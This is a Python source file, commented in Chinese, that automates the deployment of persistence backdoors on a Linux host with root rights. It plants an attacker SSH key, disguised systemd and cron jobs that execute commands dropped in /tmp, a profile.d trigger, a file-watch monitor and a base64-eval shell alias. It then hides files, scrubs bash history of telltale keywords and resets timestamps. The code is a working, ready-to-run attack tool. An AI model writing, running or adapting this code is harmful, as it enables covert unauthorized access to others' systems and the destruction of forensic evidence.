#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

一键部署系统 - 隐蔽执行和痕迹清理
实现后门的自动化部署、隐蔽性强化和操作痕迹清理
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
import time
import shutil
import subprocess
import tempfile
from datetime import datetime
from pathlib import Path





class OneClickDeployment:
    """一键部署系统 - 自动化后门部署"""
    
    def __init__(self):
        self.deployment_log = []
        self.backup_files = {}
        self.created_files = []
        self.modified_files = []
        self.deployment_id = None
        self.stealth_mode = True
        
    def deploy_backdoors(self, deployment_config):
        """执行后门部署"""
        try:
            self.deployment_id = "deploy_{}".format(int(time.time()))
            print("[*] 开始一键部署 (ID: {})".format(self.deployment_id))
            
            # 验证Root权限
            if not self._verify_root_privileges():
                return False
            
            # 初始化部署环境
            if not self._initialize_deployment():
                return False
            
            # 执行部署
            backdoors = deployment_config.get('backdoors', [])
            success_count = 0
            
            for i, backdoor in enumerate(backdoors, 1):
                print("\n[*] 部署后门 {}/{}: {}".format(i, len(backdoors), backdoor['name']))
                
                if self._deploy_single_backdoor(backdoor):
                    success_count += 1
                    print("[+] {} 部署成功".format(backdoor['name']))
                else:
                    print("[-] {} 部署失败".format(backdoor['name']))
            
            # 清理部署痕迹
            if self.stealth_mode:
                self._cleanup_deployment_traces()
            
            print("\n[+] 部署完成: {}/{} 个后门部署成功".format(success_count, len(backdoors)))
            
            # 保存部署记录
            self._save_deployment_record(deployment_config, success_count)
            
            return success_count > 0
            
        except Exception as e:
            print("[-] 部署过程发生错误: {}".format(e))
            return False
    
    def _verify_root_privileges(self):
        """验证Root权限"""
        try:
            if os.geteuid() != 0:
                print("[-] 错误: 需要Root权限执行部署")
                print("[-] 请使用 sudo 或以root用户身份运行")
                return False
            
            print("[+] Root权限验证通过")
            return True
            
        except Exception as e:
            print("[-] 权限验证失败: {}".format(e))
            return False
    
    def _initialize_deployment(self):
        """初始化部署环境"""
        try:
            # 创建临时工作目录
            self.temp_dir = tempfile.mkdtemp(prefix='.deploy_')
            
            # 备份关键文件
            self._backup_critical_files()
            
            print("[+] 部署环境初始化完成")
            return True
            
        except Exception as e:
            print("[-] 部署环境初始化失败: {}".format(e))
            return False
    
    def _backup_critical_files(self):
        """备份关键系统文件"""
        critical_files = [
            '/etc/passwd',
            '/etc/shadow',
            '/etc/sudoers',
            '/root/.bashrc',
            '/root/.ssh/authorized_keys',
            '/etc/crontab'
        ]
        
        for file_path in critical_files:
            if os.path.exists(file_path):
                try:
                    backup_path = os.path.join(self.temp_dir, "backup_{}".format(os.path.basename(file_path)))
                    shutil.copy2(file_path, backup_path)
                    self.backup_files[file_path] = backup_path
                except Exception as e:
                    print("[!] 备份文件失败 {}: {}".format(file_path, e))
    
    def _deploy_single_backdoor(self, backdoor_config):
        """部署单个后门"""
        try:
            backdoor_type = backdoor_config.get('type')
            
            if backdoor_type == 'ssh_key':
                return self._deploy_ssh_key_backdoor(backdoor_config)
            elif backdoor_type == 'systemd_service':
                return self._deploy_systemd_service_backdoor(backdoor_config)
            elif backdoor_type == 'crontab':
                return self._deploy_crontab_backdoor(backdoor_config)
            elif backdoor_type == 'env_variable':
                return self._deploy_env_variable_backdoor(backdoor_config)
            elif backdoor_type == 'file_trigger':
                return self._deploy_file_trigger_backdoor(backdoor_config)
            elif backdoor_type == 'bashrc_alias':
                return self._deploy_bashrc_alias_backdoor(backdoor_config)
            else:
                print("[-] 不支持的后门类型: {}".format(backdoor_type))
                return False
                
        except Exception as e:
            print("[-] 后门部署失败: {}".format(e))
            return False
    
    def _deploy_ssh_key_backdoor(self, config):
        """部署SSH密钥后门"""
        try:
            key_config = config.get('config', {})
            key_path = key_config.get('key_path', '~/.ssh/.hidden_key')
            key_path = os.path.expanduser(key_path)
            
            # 确保.ssh目录存在
            ssh_dir = os.path.dirname(key_path)
            os.makedirs(ssh_dir, mode=0o700, exist_ok=True)
            
            # 生成SSH密钥对
            private_key_path = key_path
            public_key_path = "{}.pub".format(key_path)
            
            # 生成密钥
            cmd = [
                'ssh-keygen', '-t', 'rsa', '-b', '2048',
                '-f', private_key_path,
                '-N', '',  # 无密码
                '-C', key_config.get('key_comment', 'system-backup-key')
            ]
            
            result = subprocess.run(cmd, capture_output=True, text=True)
            if result.returncode != 0:
                print("[-] SSH密钥生成失败: {}".format(result.stderr))
                return False
            
            # 设置密钥文件权限
            os.chmod(private_key_path, 0o600)
            os.chmod(public_key_path, 0o644)
            
            # 添加公钥到authorized_keys
            authorized_keys_path = os.path.expanduser('~/.ssh/authorized_keys')
            
            with open(public_key_path, 'r') as f:
                public_key = f.read().strip()
            
            # 备份authorized_keys
            if os.path.exists(authorized_keys_path):
                backup_path = "{}.backup_{}".format(authorized_keys_path, int(time.time()))
                shutil.copy2(authorized_keys_path, backup_path)
                self.backup_files[authorized_keys_path] = backup_path
            
            # 添加公钥
            with open(authorized_keys_path, 'a') as f:
                f.write("\n{}\n".format(public_key))
            
            os.chmod(authorized_keys_path, 0o600)
            
            self.created_files.extend([private_key_path, public_key_path])
            self.modified_files.append(authorized_keys_path)
            
            # 隐藏密钥文件
            self._hide_file(private_key_path)
            self._hide_file(public_key_path)
            
            print("[+] SSH密钥后门部署完成: {}".format(private_key_path))
            return True
            
        except Exception as e:
            print("[-] SSH密钥后门部署失败: {}".format(e))
            return False
    
    def _deploy_systemd_service_backdoor(self, config):
        """部署Systemd服务后门"""
        try:
            service_config = config.get('config', {})
            service_name = service_config.get('service_name', 'log-cleaner.service')
            exec_path = service_config.get('exec_path', '/usr/local/bin/log-cleaner')
            
            # 创建服务脚本
            script_content = f"""#!/bin/bash
# {service_config.get('service_description', 'System Service')}

while true; do
    # 检查触发文件
    if [ -f /tmp/.service_trigger ]; then
        # 执行命令
        if [ -f /tmp/.service_cmd ]; then
            bash /tmp/.service_cmd > /tmp/.service_output 2>&1
            rm -f /tmp/.service_cmd
        fi
        rm -f /tmp/.service_trigger
    fi
    sleep 60
done
"""
            
            # 写入脚本文件
            with open(exec_path, 'w') as f:
                f.write(script_content)
            
            os.chmod(exec_path, 0o755)
            
            # 创建systemd服务文件
            service_file_path = "/etc/systemd/system/{}".format(service_name)
            service_content = f"""[Unit]
Description={service_config.get('service_description', 'System Log Cleanup Service')}
After=network.target

[Service]
Type=simple
ExecStart={exec_path}
Restart={service_config.get('restart_policy', 'always')}
RestartSec=30
User=root

[Install]
WantedBy=multi-user.target
"""
            
            with open(service_file_path, 'w') as f:
                f.write(service_content)
            
            # 重新加载systemd并启动服务
            subprocess.run(['systemctl', 'daemon-reload'], capture_output=True)
            subprocess.run(['systemctl', 'enable', service_name], capture_output=True)
            subprocess.run(['systemctl', 'start', service_name], capture_output=True)
            
            self.created_files.extend([exec_path, service_file_path])
            
            print("[+] Systemd服务后门部署完成: {}".format(service_name))
            return True
            
        except Exception as e:
            print("[-] Systemd服务后门部署失败: {}".format(e))
            return False
    
    def _deploy_crontab_backdoor(self, config):
        """部署Crontab定时后门"""
        try:
            cron_config = config.get('config', {})
            schedule = cron_config.get('schedule', '0 */6 * * *')
            command = cron_config.get('command', '/usr/bin/system-check')
            comment = cron_config.get('comment', '# System maintenance task')
            
            # 创建执行脚本
            script_content = f"""#!/bin/bash
# System maintenance script

# 检查触发文件
if [ -f /tmp/.cron_trigger ]; then
    if [ -f /tmp/.cron_cmd ]; then
        bash /tmp/.cron_cmd > /tmp/.cron_output 2>&1
        rm -f /tmp/.cron_cmd
    fi
    rm -f /tmp/.cron_trigger
fi

# 清理临时文件
find /tmp -name ".cron_*" -mtime +1 -delete 2>/dev/null
"""
            
            with open(command, 'w') as f:
                f.write(script_content)
            
            os.chmod(command, 0o755)
            
            # 添加到crontab
            cron_entry = "{} {} >/dev/null 2>&1 {}".format(schedule, command, comment)
            
            # 获取当前crontab
            result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)
            current_crontab = result.stdout if result.returncode == 0 else ""
            
            # 添加新条目
            new_crontab = current_crontab + "\n{}\n".format(cron_entry)
            
            # 写入新crontab
            process = subprocess.Popen(['crontab', '-'], stdin=subprocess.PIPE, text=True)
            process.communicate(input=new_crontab)
            
            self.created_files.append(command)
            
            print("[+] Crontab定时后门部署完成: {}".format(schedule))
            return True
            
        except Exception as e:
            print("[-] Crontab定时后门部署失败: {}".format(e))
            return False
    
    def _deploy_env_variable_backdoor(self, config):
        """部署环境变量后门"""
        try:
            env_config = config.get('config', {})
            profile_path = env_config.get('profile_path', '/etc/profile.d/.system-env.sh')
            variable_name = env_config.get('variable_name', 'SYSTEM_PATH_CACHE')
            trigger_value = env_config.get('trigger_value', 'enable_maintenance_mode')
            
            # 创建环境变量脚本
            script_content = f"""#!/bin/bash
# System environment configuration

export {variable_name}="system_cache_enabled"

# 检查维护模式触发
if [ "${{variable_name}}" = "{trigger_value}" ]; then
    if [ -f /tmp/.env_cmd ]; then
        bash /tmp/.env_cmd > /tmp/.env_output 2>&1
        rm -f /tmp/.env_cmd
    fi
fi
"""
            
            with open(profile_path, 'w') as f:
                f.write(script_content)
            
            os.chmod(profile_path, 0o644)
            
            self.created_files.append(profile_path)
            
            print("[+] 环境变量后门部署完成: {}".format(profile_path))
            return True
            
        except Exception as e:
            print("[-] 环境变量后门部署失败: {}".format(e))
            return False
    
    def _deploy_file_trigger_backdoor(self, config):
        """部署文件触发后门"""
        try:
            trigger_config = config.get('config', {})
            trigger_file = trigger_config.get('trigger_file', '/tmp/.sync')
            response_file = trigger_config.get('response_file', '/var/log/.sync.log')
            monitor_script = trigger_config.get('monitor_script', '/usr/local/bin/file-monitor')
            
            # 创建监控脚本
            script_content = f"""#!/bin/bash
# File trigger monitor

while true; do
    if [ -f "{trigger_file}" ]; then
        echo "[$(date)] Trigger activated" >> "{response_file}"
        
        # 检查命令文件
        if [ -f "{trigger_file}.cmd" ]; then
            bash "{trigger_file}.cmd" >> "{response_file}" 2>&1
            rm -f "{trigger_file}.cmd"
        fi
        
        rm -f "{trigger_file}"
    fi
    sleep 10
done
"""
            
            with open(monitor_script, 'w') as f:
                f.write(script_content)
            
            os.chmod(monitor_script, 0o755)
            
            # 在后台启动监控
            subprocess.Popen([monitor_script], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            
            self.created_files.append(monitor_script)
            
            print("[+] 文件触发后门部署完成: {}".format(trigger_file))
            return True
            
        except Exception as e:
            print("[-] 文件触发后门部署失败: {}".format(e))
            return False
    
    def _deploy_bashrc_alias_backdoor(self, config):
        """部署Bashrc别名后门"""
        try:
            alias_config = config.get('config', {})
            bashrc_path = os.path.expanduser(alias_config.get('bashrc_path', '~/.bashrc'))
            alias_name = alias_config.get('alias_name', 'system-status')
            
            # 创建别名命令
            encoded_payload = "ZWNobyAiU3lzdGVtIE9LIg=="  # base64编码的 echo "System OK"
            alias_command = "alias {0}=\"bash -c 'eval $(echo {1} | base64 -d)'\"".format(alias_name, encoded_payload)
            
            # 备份bashrc
            if os.path.exists(bashrc_path):
                backup_path = "{}.backup_{}".format(bashrc_path, int(time.time()))
                shutil.copy2(bashrc_path, backup_path)
                self.backup_files[bashrc_path] = backup_path
            
            # 添加别名到bashrc
            with open(bashrc_path, 'a') as f:
                f.write("\n# System alias\n{}\n".format(alias_command))
            
            self.modified_files.append(bashrc_path)
            
            print("[+] Bashrc别名后门部署完成: {}".format(alias_name))
            return True
            
        except Exception as e:
            print("[-] Bashrc别名后门部署失败: {}".format(e))
            return False
    
    def _hide_file(self, filepath):
        """隐藏文件（添加隐藏属性）"""
        try:
            # 在Linux中，以.开头的文件默认隐藏
            if not os.path.basename(filepath).startswith('.'):
                dirname = os.path.dirname(filepath)
                basename = os.path.basename(filepath)
                hidden_path = os.path.join(dirname, ".{}".format(basename))
                
                if not os.path.exists(hidden_path):
                    os.rename(filepath, hidden_path)
                    return hidden_path
            
            return filepath
            
        except Exception as e:
            print("[!] 文件隐藏失败 {}: {}".format(filepath, e))
            return filepath
    
    def _cleanup_deployment_traces(self):
        """清理部署痕迹"""
        try:
            print("[*] 清理部署痕迹...")
            
            # 清理bash历史
            self._clear_bash_history()
            
            # 恢复文件时间戳
            self._restore_file_timestamps()
            
            # 清理临时文件
            if hasattr(self, 'temp_dir') and os.path.exists(self.temp_dir):
                shutil.rmtree(self.temp_dir)
            
            print("[+] 部署痕迹清理完成")
            
        except Exception as e:
            print("[-] 痕迹清理失败: {}".format(e))
    
    def _clear_bash_history(self):
        """清理bash历史记录"""
        try:
            # 清理当前会话历史
            subprocess.run(['history', '-c'], shell=True, capture_output=True)
            
            # 清理历史文件中的相关记录
            history_files = [
                os.path.expanduser('~/.bash_history'),
                os.path.expanduser('~/.zsh_history'),
                '/root/.bash_history'
            ]
            
            for history_file in history_files:
                if os.path.exists(history_file):
                    # 读取历史文件
                    with open(history_file, 'r') as f:
                        lines = f.readlines()
                    
                    # 过滤掉包含敏感关键词的行
                    sensitive_keywords = [
                        'ssh-keygen', 'systemctl', 'crontab', 'deploy',
                        'backdoor', 'hidden', '.ssh', 'authorized_keys'
                    ]
                    
                    filtered_lines = []
                    for line in lines:
                        if not any(keyword in line.lower() for keyword in sensitive_keywords):
                            filtered_lines.append(line)
                    
                    # 写回过滤后的历史
                    with open(history_file, 'w') as f:
                        f.writelines(filtered_lines)
            
        except Exception as e:
            print("[!] bash历史清理失败: {}".format(e))
    
    def _restore_file_timestamps(self):
        """恢复文件时间戳"""
        try:
            for filepath in self.modified_files:
                if os.path.exists(filepath):
                    # 设置为系统默认时间戳
                    current_time = time.time()
                    os.utime(filepath, (current_time, current_time))
            
        except Exception as e:
            print("[!] 时间戳恢复失败: {}".format(e))
    
    def _save_deployment_record(self, deployment_config, success_count):
        """保存部署记录"""
        try:
            record = {
                'deployment_id': self.deployment_id,
                'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
                'strategy_name': deployment_config.get('strategy_name', 'Unknown'),
                'total_backdoors': len(deployment_config.get('backdoors', [])),
                'successful_backdoors': success_count,
                'created_files': self.created_files,
                'modified_files': self.modified_files,
                'backup_files': list(self.backup_files.keys())
            }
            
            record_file = "/tmp/.deploy_record_{}.json".format(self.deployment_id)
            with open(record_file, 'w') as f:
                json.dump(record, f, indent=2, ensure_ascii=False)
            
            # 隐藏记录文件
            self._hide_file(record_file)
            
            print(f"[+] 部署记录已保存")
            
        except Exception as e:
            print("[-] 部署记录保存失败: {}".format(e))
    
    def rollback_deployment(self, deployment_id=None):
        """回滚部署"""
        try:
            if deployment_id:
                record_file = "/tmp/.deploy_record_{}.json".format(deployment_id)
            else:
                record_file = "/tmp/.deploy_record_{}.json".format(self.deployment_id)
            
            if not os.path.exists(record_file):
                print("[-] 未找到部署记录，无法回滚")
                return False
            
            with open(record_file, 'r') as f:
                record = json.load(f)
            
            print("[*] 开始回滚部署 {}".format(record['deployment_id']))
            
            # 删除创建的文件
            for filepath in record.get('created_files', []):
                if os.path.exists(filepath):
                    os.remove(filepath)
                    print("[+] 已删除: {}".format(filepath))
            
            # 恢复修改的文件
            for original_file in record.get('backup_files', []):
                backup_file = self.backup_files.get(original_file)
                if backup_file and os.path.exists(backup_file):
                    shutil.copy2(backup_file, original_file)
                    print("[+] 已恢复: {}".format(original_file))
            
            # 删除记录文件
            os.remove(record_file)
            
            print("[+] 部署回滚完成")
            return True
            
        except Exception as e:
            print("[-] 部署回滚失败: {}".format(e))
            return False


def main():
    """主函数 - 测试用"""
    print("一键部署系统 - 测试")
    
    # 模拟部署配置
    test_config = {
        'strategy_name': '测试策略',
        'backdoors': [
            {
                'name': 'SSH密钥后门',
                'type': 'ssh_key',
                'config': {
                    'key_path': '~/.ssh/.test_key',
                    'key_comment': 'test-backup-key'
                }
            }
        ]
    }
    
    deployment = OneClickDeployment()
    
    if deployment.deploy_backdoors(test_config):
        print("\n[+] 测试部署成功")
    else:
        print("\n[-] 测试部署失败")


if __name__ == "__main__":
    main()